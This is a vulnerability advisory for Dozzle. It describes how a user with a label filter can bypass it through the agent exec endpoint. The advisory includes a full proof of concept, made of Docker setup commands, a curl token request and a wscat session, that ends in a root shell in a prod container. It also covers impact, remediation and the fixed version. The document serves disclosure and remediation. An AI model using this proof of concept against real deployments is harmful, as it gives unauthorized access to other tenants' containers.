Dozzle Agent Label-Based Access Control Bypass Allows Unauthorized Container Shell Access

Note: For reference, we can see the correct implementation in ListContainers (agent_service.go#L43-L46):

func (a *agentService) ListContainers(ctx context.Context, labels container.ContainerLabels) ([]container.Container, error) {
	log.Debug().Interface("labels", labels).Msg("Listing containers from agent")
	return a.client.ListContainers(ctx, labels)
}

PoC

# create new dir
$ cd /tmp && mkdir -p /tmp/dozzle && cd /tmp/dozzle && mkdir -p data

# run dozzle agent
$ docker run -d --name dozzle-agent \
  -v /var/run/docker.sock:/var/run/docker.sock:ro \
  -p 7007:7007 \
  amir20/dozzle:latest agent

# sleep
$ sleep 5

# run dev container
$ docker run -d --name dev-allowed --label env=dev alpine sleep 100000

# run prod container
$ docker run -d --name prod-secret --label env=prod alpine sleep 100000

# check containers status
$ docker ps --format "table {{.ID}}\t{{.Names}}\t{{.Label \"env\"}}" | grep -E 'dev-allowed|prod-secret'
3731627f4e2d   prod-secret    prod
51e6cffce99f   dev-allowed    dev

# get hash for pass:devpass
$ HASH=$(printf 'devpass' | sha256sum | awk '{print $1}')

# create dev user
$ cat > /tmp/dozzle/data/users.yaml << EOF
users:
  devuser:
    email: [email protected]
    name: Dev User
    password: ${HASH}
    filter: "label=env=dev"
    roles: "shell"
EOF

# sanity check users 
$ cat /tmp/dozzle/data/users.yaml
users:
  devuser:
    email: [email protected]
    name: Dev User
    password: fee39c23856e3d9dd500861a30903548b8878994291b2fef7fff2f53b3073c0c
    filter: "label=env=dev"
    roles: "shell"

# run main image
$ docker run -d --name dozzle-main \
  -v /tmp/dozzle/data:/data \
  -p 8080:8080 \
  -e DOZZLE_AUTH_PROVIDER=simple \
  -e DOZZLE_AUTH_TTL=48h \
  -e DOZZLE_ENABLE_SHELL=true \
  -e "DOZZLE_REMOTE_AGENT=host.docker.internal:7007" \
  amir20/dozzle:latest

# sleep
$ sleep 8

# get jwt token for devuser
$ curl -s -X POST http://localhost:8080/api/token \
  -d "username=devuser&password=devpass" \
  -c /tmp/dozzle/cookies.txt

# save the token
$ TOKEN=$(grep jwt /tmp/dozzle/cookies.txt | awk '{print $7}')

# in browser open http://localhost:8080 -> login with user:devuser pass:devpass -> grab host http://localhost:8080/host/cafb9ffc-ac34-47a6-985b-10ffea39610e
$ HOST_ID="cafb9ffc-ac34-47a6-985b-10ffea39610e"

# get prod cid
$ PROD_CID=$(docker ps --filter "name=prod-secret" --format '{{.ID}}')

# sanity check
$ echo $PROD_CID
3731627f4e2d

# install wscat
$ npm install -g wscat

# open wscat with token
$ wscat -c "ws://localhost:8080/api/hosts/${HOST_ID}/containers/${PROD_CID}/exec" \
  -H "Cookie: jwt=${TOKEN}"
Connected (press CTRL+C to quit)
< / # 
/ # 
> {"type":"userinput","data":"id\n"}
< id

< uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/ # 
> {"type":"userinput","data":"cat /etc/hostname\n"}
< cat /etc/hostname

< 3731627f4e2d

< / # 
> quit
Disconnected (code: 1006, reason: "")

As configured, devuser only sees dev-allowed in the Dozzle UI (due to filter: label=env=dev), but can still open a root shell in prod-secret via the agent-backed exec endpoint by supplying its container ID.

Impact

This is an authorization bypass in environments that rely on SIMPLE auth label filters together with agents to separate environments or tenants. A user who should be constrained to a specific label set (for example, env=dev) but has the Shell role can gain full interactive access (read, modify, disrupt) to containers with other labels (for example, env=prod) on the same agent host, provided they can obtain the target container ID.

Remediation

• In the agent-backed FindContainer implementation, enforce the same label-based filtering semantics as the Docker/Kubernetes host implementations by ensuring the requested (host, containerId) is within the set returned by ListContainers for the caller’s userLabels before returning it to exec/attach.

• Add regression tests verifying that a user with filter: label=env=dev and the Shell role cannot exec or attach into env=prod containers via the agent path, even when supplying a valid container ID.

• As defense in depth, reject exec/attach requests when the resolved container is not present in the user-visible subset returned by the list API under the same label filter.

This issue has been fixed in version 9.0.3 but the Go registry only contains versions up to 1.29.0. Use Docker or GitHub to download 9.0.3.

Resources

• https://dozzle.dev/guide/authentication#setting-specific-filters-for-users